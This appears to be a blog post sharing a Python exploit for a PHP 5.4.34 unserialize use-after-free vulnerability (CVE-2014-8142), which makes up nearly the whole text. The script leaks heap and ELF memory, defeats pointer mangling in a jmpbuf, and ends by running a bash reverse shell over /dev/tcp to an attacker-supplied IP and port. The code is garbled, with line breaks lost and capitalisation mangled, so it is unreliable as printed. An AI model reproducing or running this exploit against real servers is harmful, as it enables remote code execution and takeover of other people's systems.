Before the Sebug Salon shared php 5.4.34 unserialize UAF exploit,exp put on the blog, there is also the PPT of that day:
Research of PHP Anti-serialization UAF vulnerability and EXP writing
Exp Code:
"PHP 5.4.34cve-2014-8142php Server script content for this vulnerability:
' Import reimport pdbimport sysimport urllibimport urllib2import base64import structimport urlparse If __name__ = ' __ Main__ ': If Len (sys.argv) = = 5:target = Urlparse.urlunsplit ((' http ', sys.argv[1], sys.argv[2], ', ') else : print "Usage:python" + sys.argv[0] + "[Targetip] [URI] [Reverse IP] [Reverse Port]" Sys.exit () def get_ RESP (data): data = Base64.b64encode (data) data = Urllib.quote (data) req = Urllib2. Request (Url=target + "? Data=" + data) U = Urllib2.urlopen (req) resp = U.read () return resp def read_memory (addr, count): #read_memory (0x8048000, 0x4) #read_memory (134512640, 4) data = ' O:8: ' stdClass ': 4:{' data + = ' s:3: ' 123 "; a:10:{i:1;i:1;i:2;i:2;i:3;i:3;i:4;i:4;i:5;i:5;i:6;i:6;i:7;i:7;i:8;i:8;i:9;i:9;i:10;i:10;} '; Data + = ' s:3: ' 123 '; i:0; '; Data + = ' i:0; S:16: "' + struct.pack (" i ", addr) + struct.pack (" I ", count) + ' \00\01\01\00\06\00\bb\bc"; '; Data + = ' i:1;r:12;} '; #print Data resp = GET_RESP (data) #Print resp start = Resp.rfind ("s:" + str (count) + ": \" ") + Len (" s: "+ str (count) +": \ ") end = Resp.rfind (" \ ";}" MEM = Resp[start:end] return mem def format_to_hex (value): Return format (value, "#04x") def hex_to_dec (value): return int (value, +) def find_func_addr (Function_name, Strtab_section_addr, Symtab_section_addr, libphp_base): STRT Ab_count = 0x1000 Symtab_cont = 0x5000 Func_dynstr_offset = 0 Func_symtab_offset = 0 while TRUE:STRT Ab_section = Read_memory (strtab_section_addr, strtab_count) pos = Strtab_section.find ("\x00" + function_name + "\x0 0 ") if pos!=-1:func_dynstr_offset = pos + 1 print" [+] Found "+ function_name +" Strtab Offset is ' + format_to_hex (func_dynstr_offset) Break strtab_count = Strtab_count + 0x1000 while Tr Ue:symtab_section = Read_memory (symtab_section_addr, Symtab_cont) while Symtab_section:if Stru Ct.unpack ("I", symtab_secTion[:4]) [0] = = Func_dynstr_offset:func_symtab_offset = Struct.unpack ("I", Symtab_section[4:8]) [0] Break symtab_section = symtab_section[16:] If Func_symtab_offset:break symt Ab_cont = Symtab_cont + 0x1000 print "[+] Found" + function_name + "Symtab offset is" + Format_to_hex (func_symtab_o Ffset) func_addr = Libphp_base + func_symtab_offset; print "[+] Found" + function_name + "addr at" + Format_to_hex (FUNC_ADDR) return func_addr # Rotate left:0b1001--&G T 0b0011rol = Lambda Val, r_bits, max_bits: \ (val << r_bits%max_bits) & (2**max_bits-1) | \ ((Val & (2**max_bits-1) >> (max_bits-(r_bits%max_bits)) # Rotate right:0b1001--0b1100ror = lambda Val, r_bits, max_bits: \ ((Val & (2**max_bits-1)) >> r_bits%max_bits) | \ (Val << (max_bits-(r_bits%max_bits)) & (2**max_bits-1)) print "[+] determining endianess of system" data = ' O:8: ' StdClass ': 4:{' Data + = ' s:3: "123"; a:10:{i:1;i:1;i:2;i:2;i:3;i:3;i:4;i:4;i:5;i:5;i:6;i:6;i:7;i:7;i:8;i:8;i:9;i:9;i:10;i:10;} ' Data + = ' s:3: ' 123 '; i:0; ' Data + = ' i:0; S:17: "\00\01\00\00AAAA\00\01\01\00\01\00\BB\BC\CC"; Data + = ' i:1;r:12;} ' RESP = get_resp (data) m = Re.findall ("\:(\d*) \;\}", resp) if M:if Int (m[0]) = = 256:print "[+] System is little Endian "Elif Int (m[0]) = = 65535:print" [+] System is big endian "data = ' O:8:" StdClass ": 6:{' data + = ' s:3:" 123 "; A:40:{i:0;i:0;i:1;i:1;i:2;i:2;i:3;i:3;i:4;i:4;i:5;i:5;i:6;i:6;i:7;i:7;i:8;i:8;i:9;i:9;i:10;i:10;i:11;i:11;i:12 ; i:12;i:13;i:13;i:14;i:14;i:15;i:15;i:16;i:16;i:17;i:17;i:18;i:18;i:19;i:19;i:20;i:20;i:21;i:21;i:22;i:22;i:23 ; i:23;i:24;i:24;i:25;i:25;i:26;i:26;i:27;i:27;i:28;i:28;i:29;i:29;i:30;i:30;i:31;i:31;i:32;i:32;i:33;i:33;i:34 ; i:34;i:35;i:35;i:36;i:36;i:37;i:37;i:38;i:38;i:39;i:39;} ' Data + = ' s:3: ' 456 '; a:40:{i:0;i:0;i:1;i:1;i:2;i:2;i:3;i:3;i:4;i:4;i:5;i:5;i:6;i:6;i:7;i:7;i:8;i:8;i:9;i:9;i:10;i : 10;i:11;i:11;i:12;i:12;i:13;i:13;i:14;i:14;i:15;i:15;i:16;i:16;i:17;i:17;i:18;i:18;i:19;i:19;i:20;i:20;i:21;i:21;i:22;i:22;i:23;i:23;i:24;i:24;i : 25;i:25;i:26;i:26;i:27;i:27;i:28;i:28;i:29;i:29;i:30;i:30;i:31;i:31;i:32;i:32;i:33;i:33;i:34;i:34;i:35;i:35;i : 36;i:36;i:37;i:37;i:38;i:38;i:39;i:39;} ' Data + = ' s:3: ' 456 '; i:1; ' Data + = ' s:3: "789"; A:20:{i:100;o:8: "Stdclass": 0:{}i:0; S:17: "\41\41\41\41\00\04\00\00\00\01\01\00\06\00\BB\BC\CC"; I:101;o:8: "Stdclass": 0:{}i:1; S:17: "\41\41\41\41\00\04\00\00\00\01\01\00\06\00\BB\BC\CC"; I:102;o:8: "Stdclass": 0:{}i:2; S:17: "\41\41\41\41\00\04\00\00\00\01\01\00\06\00\BB\BC\CC"; I:103;o:8: "Stdclass": 0:{}i:3; S:17: "\41\41\41\41\00\04\00\00\00\01\01\00\06\00\BB\BC\CC"; I:104;o:8: "Stdclass": 0:{}i:4; S:17: "\41\41\41\41\00\04\00\00\00\01\01\00\06\00\BB\BC\CC"; I:105;o:8: "Stdclass": 0:{}i:5; S:17: "\41\41\41\41\00\04\00\00\00\01\01\00\06\00\BB\BC\CC"; I:106;o:8: "Stdclass": 0:{}i:6; S:17: "\41\41\41\41\00\04\00\00\00\01\01\00\06\00\BB\BC\CC"; I:107;o:8: "Stdclass": 0:{}i:7; S:17: "\41\41\41\41\00\04\00\00\00\01\01\00\06\00\BB\BC\CC "; I:108;o:8:" Stdclass ": 0:{}i:8; S:17: "\41\41\41\41\00\04\00\00\00\01\01\00\06\00\BB\BC\CC"; I:109;o:8: "Stdclass": 0:{}i:9; S:17: "\41\41\41\41\00\04\00\00\00\01\01\00\06\00\BB\BC\CC";} ' Data + = ' s:3: ' 789 '; i:0; ' Data + = ' i:1;r:56;} ' RESP = get_resp (data) start = Resp.rfind (": \" ") + 2end = Resp.rfind (" \ ";}") Mem = resp[start:end]fmt = FMT = "%di"% (len (MEM)//4) LEAK_HEAP_ADDR = List (Struct.unpack (FMT, mem)) index = 0 for i in L Eak_heap_addr:if i = = 0x5:std_object_handlers_addr = Format_to_hex (leak_heap_addr[index-2]) index = index + 1 if Std_object_handlers_addr:print "[+] Found std_object_handlers_addr address to be" + std_object_handlers_addr print "[+] leaking std_object_handlers" mem = Read_memory (Hex_to_dec (STD_OBJECT_HANDLERS_ADDR), 0x70) FMT = FMT = "%di"% (l En (MEM)//4) LEAK_HEAP_ADDR = List (Struct.unpack (FMT, mem)) std_object_handlers = [] for i in Leak_heap_addr:std_object _handlers.append (Format_to_hex (i)) print "Retrieved std_object_handlers" + STR (STd_object_handlers) min_addr = min (i for I in Std_object_handlersif hex_to_dec (i) > 0) print "[+] Optimized to" + Min_add Rprint "[+] scanning for executable headers" libphp_base = (Hex_to_dec (min_addr) & ~0xfff) while True:try:me m = Read_memory (Libphp_base, 4) except:continue if (mem = = "\x7felf"): Break libphp_base-= 0x10 XX print "[+] ELF header Found at" + Format_to_hex (libphp_base) mem = Read_memory (libphp_base, 0x1000) print "[+] Retrievin G and parsing ELF header "Program_header = mem[52:] While true:if struct.unpack (" I ", Program_header[:4]) [0] = = 2: DYNAMIC_SECTION_ADDR = libphp_base + struct.unpack ("I", Program_header[8:12]) [0] Break Program_header = Prog RAM_HEADER[32:] print "[+] ELF dynamic section Found at" + Format_to_hex (dynamic_section_addr) dynamic_section = Read_memo Ry (DYNAMIC_SECTION_ADDR, 0x118) while True:if (Struct.unpack ("I", Dynamic_section[:4]) [0] = = 5) and (Struct.unpack ("I" , Dynamic_section[8:12])[0] = = 6): Strtab_section_addr = Struct.unpack ("I", Dynamic_section[4:8]) [0] symtab_section_addr = struct. Unpack ("I", Dynamic_section[12:16]) [0] Break dynamic_section = dynamic_section[8:] print "[+] ELF strtab section Found at "+ Format_to_hex (strtab_section_addr) print" [+] ELF symtab sections Found at "+ Format_to_hex (symtab_section_ad DR) Php_execute_script_addr = find_func_addr ("Php_execute_script", Strtab_section_addr, Symtab_section_addr, Libphp_ Base) Zend_eval_string_addr = Find_func_addr ("zend_eval_string", Strtab_section_addr, Symtab_section_addr, Libphp_ Base) Executor_globals_addr = Find_func_addr ("Executor_globals", Strtab_section_addr, Symtab_section_addr, Libphp_ Base) Jmpbuf_addr = Struct.unpack ("I", Read_memory (executor_globals_addr + 288, 0x4)) [0]print "[+] Found jmpbuf at" + form At_to_hex (jmpbuf_addr) print "[+] attempt to crack jmpbuf" mem = Read_memory (jmpbuf_addr, 0x18) FMT = "%di"% (len (MEM)//4) J Mp_buf = List (Struct.unpack (FMT, mem)) mem = ReAd_memory (php_execute_script_addr, 0x100) FMT = "%db"% (len (mem)) Mem_list = List (Struct.unpack (FMT, mem)) Count = 0set_jm P_RET_ADDR = 0 for i in mem_list:if (i = = 0xe8) and (mem_list[count+5] = = 0x31) and (mem_list[count+7] = = 0x85): SET_JMP_RET_ADDR = php_execute_script_addr + count + 5 jmp_to_ret_addr = php_execute_script_addr + count + 15 + Struct.unpack ("I", mem[(count+11):(count+15)]) [0] Count = count + 1 print "[+] determined stored EIP value%s from PA Ttern Match "%format_to_hex (set_jmp_ret_addr) Pointer_guard = Ror (Jmp_buf[5], 9, +) ^ set_jmp_ret_addrprint" [+] Calculated Pointer_guard value is%s "%format_to_hex (pointer_guard) Unmangled_esp = Ror (Jmp_buf[4], 9, +) ^ Pointer_ Guardprint "[+] unmangled stored ESP is%s"%format_to_hex (UNMANGLED_ESP) mem = Read_memory (jmpbuf_addr-0x1000, 0x1000) print "[+] Checking memory infront of jmpbuf for overwriting possibilities" i = 0count = 0valid_addr = [] While true:a DDR = jmpbuf_addr-0x1000 + Count if (strucT.unpack ("B", mem[count:count+1]) [0] = = 0x30) and (Struct.unpack ("B", mem[count+1:count+2]) [0] = = Struct.unpack ("B", MEM[COUNT+2:COUNT+3]) [0] = = Struct.unpack ("B", Mem[count+3:count+4]) [0] = = 0): valid_addr.append (addr) i = i + 1 count = count + 1 If Len (mem[i:]) < 4:break if valid_addr:print "[+] Found 0x30 at" + format_to_h EX (valid_addr[0]) + "using it as overwrite trampoline" ADDR1 = valid_addr[0]+8 Count1 = All ADDR2 = valid_addr[0 ]+ Count2 = 111 ADDR3 = valid_addr[0]+ = Count3 = 111 ADDR4 = valid_addr[0]+ 272 count4 = 111 Php_ Code = "System (\" Bash-c ' bash-i >&/dev/tcp/"+ sys.argv[3] +"/"+ sys.argv[4] +" 0>&1 "\"); \00 "Old_c WD = Struct.pack ("i", jmpbuf_addr) return_addr = Struct.pack ("i", jmp_to_ret_addr) php_code_addr = Struct.pack ("I", JMPBUF_ADDR + +) Retval_ptr = "\00" * 4 string_name = php_code_addr ebx = Struct.pack ("I", jmp_buf[0]) esi = Struct.pack ("I", Jmp_buf[1]) EDI = Struct.pack ("i", jmp_buf[2]) EBP = Struct.pack ("i", jmp_buf[3]) ESP = Struct.pack ("I", Rol ((Jmpbuf_addr + 2 4 ^ Pointer_guard, 9, +) EIP = Struct.pack ("I", Rol (zend_eval_string_addr ^ Pointer_guard, 9, +)) junk = "A" * (127-len (ebx + ebx + ebx + esi + EDI + EBP + ESP + EIP + return_addr + php_code_addr + retval_ptr + string_name + php_co DE)) data = ' O:8: ' stdClass ': 17:{' data + = ' s:3: ' 123 '; a:40:{i:0;i:0;i:1;i:1;i:2;i:2;i:3;i:3;i:4;i:4;i:5;i:5;i:6;i:6; I:7;i:7;i:8;i:8;i:9;i:9;i:10;i:10;i:11;i:11;i:12;i:12;i:13;i:13;i:14;i:14;i:15;i:15;i:16;i:16;i:17;i:17;i:18;i : 18;i:19;i:19;i:20;i:20;i:21;i:21;i:22;i:22;i:23;i:23;i:24;i:24;i:25;i:25;i:26;i:26;i:27;i:27;i:28;i:28;i:29;i : 29;i:30;i:30;i:31;i:31;i:32;i:32;i:33;i:33;i:34;i:34;i:35;i:35;i:36;i:36;i:37;i:37;i:38;i:38;i:39;i:39;} ' Data + = ' s:3: ' 456 '; a:40:{i:0;i:0;i:1;i:1;i:2;i:2;i:3;i:3;i:4;i:4;i:5;i:5;i:6;i:6;i:7;i:7;i:8;i:8;i:9;i:9;i:10;i : 10;i:11;i:11;i:12;i:12;i:13;i:13;i:14;i:14;i:15;i:15;i:16;i:16;i:17;i:17;i:18;i:18;i:19;i:19;i:20;i:20;i:21;i:21;i:22;i:22;i:23;i:23;i:24;i:24;i:25;i:25;i:26;i:26;i:27;i:27;i:28;i : 28;i:29;i:29;i:30;i:30;i:31;i:31;i:32;i:32;i:33;i:33;i:34;i:34;i:35;i:35;i:36;i:36;i:37;i:37;i:38;i:38;i:39;i : 39;} ' Data + = ' s:3: ' 456 '; i:1; ' Data + = ' s:3: "789"; A:20:{i:100;o:8: "Stdclass": 0:{}i:0; S:16: "' + struct.pack (" I ", ADDR1) + struct.pack (" I ", count1) + ' \00\00\00\00\06\00\BB\BC"; I:101;o:8: "Stdclass": 0:{}i:1 ; S:16: "' + struct.pack (" I ", ADDR1) + struct.pack (" I ", count1) + ' \00\00\00\00\06\00\BB\BC"; I:102;o:8: "Stdclass": 0:{}i:2 ; S:16: "' + struct.pack (" I ", ADDR1) + struct.pack (" I ", count1) + ' \00\00\00\00\06\00\BB\BC"; I:103;o:8: "Stdclass": 0:{}i:3 ; S:16: "' + struct.pack (" I ", ADDR1) + struct.pack (" I ", count1) + ' \00\00\00\00\06\00\BB\BC"; I:104;o:8: "Stdclass": 0:{}i:4 ; S:16: "' + struct.pack (" I ", ADDR1) + struct.pack (" I ", count1) + ' \00\00\00\00\06\00\BB\BC"; I:105;o:8: "Stdclass": 0:{}i:5 ; S:16: "' + struct.pack (" I ", ADDR1) + struct.pack (" I ", count1) + ' \00\00\00\00\06\00\BB\BC"; i:106;o:8: "Stdclass": 0:{}i:6; S:16: "' + struct.pack (" I ", ADDR4) + struct.pack (" I ", count4) + ' \00\00\00\00\06\00\BB\BC"; I:107;o:8: "Stdclass": 0:{}i:7 ; S:16: "' + struct.pack (" I ", ADDR3) + struct.pack (" I ", count3) + ' \00\00\00\00\06\00\BB\BC"; I:108;o:8: "Stdclass": 0:{}i:8 ; S:16: "' + struct.pack (" I ", ADDR2) + struct.pack (" I ", count2) + ' \00\00\00\00\06\00\BB\BC"; I:109;o:8: "Stdclass": 0:{}i:9 ; S:16: "' + struct.pack (" I ", ADDR1) + struct.pack (" I ", count1) + ' \00\00\00\00\06\00\BB\BC";} ' Data + = ' s:3: ' abc '; r:53; ' Data + = ' s:3: ' abc '; i:1; ' Data + = ' s:3: "Def"; s:39: "\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\x78\x00 \00\00\01\00\00 ";" Data + = ' s:3: ' Ghi '; r:56; ' Data + = ' s:3: ' Ghi '; i:1; ' Data + = ' s:3: "JKL"; s:111: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbb ' + old_ CWD + ' dddd\x78\x00\00\00\01\00\00 '; Data + = ' s:3: "MnO"; r:59; ' Data + = ' s:3: "MnO"; i:1; ' Data + = ' s:3: "PQR"; s:111: "\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\ 00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00 \00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\x88\x00\00\00\01\00 \00 ";" Data + = ' s:3: ' Stu '; r:62; ' Data + = ' s:3: ' Stu '; i:1; ' Data + = ' s:3: "VWX"; s:127: "' + ebx + ebx + ebx + esi + EDI + EBP + ESP + EIP + return_addr + php_code_addr + retval_ptr + string_name + php_co De + junk + ' "; Data + = ' O:8: "DateTime": 1:{s:10: "_date_time"; s:25: " -001-11-30t00:00:00+01:00";}} ' print "[+] returning into PHP ... Spawning a shell to "+ sys.argv[3] +" at Port "+ sys.argv[4] resp = get_resp (data)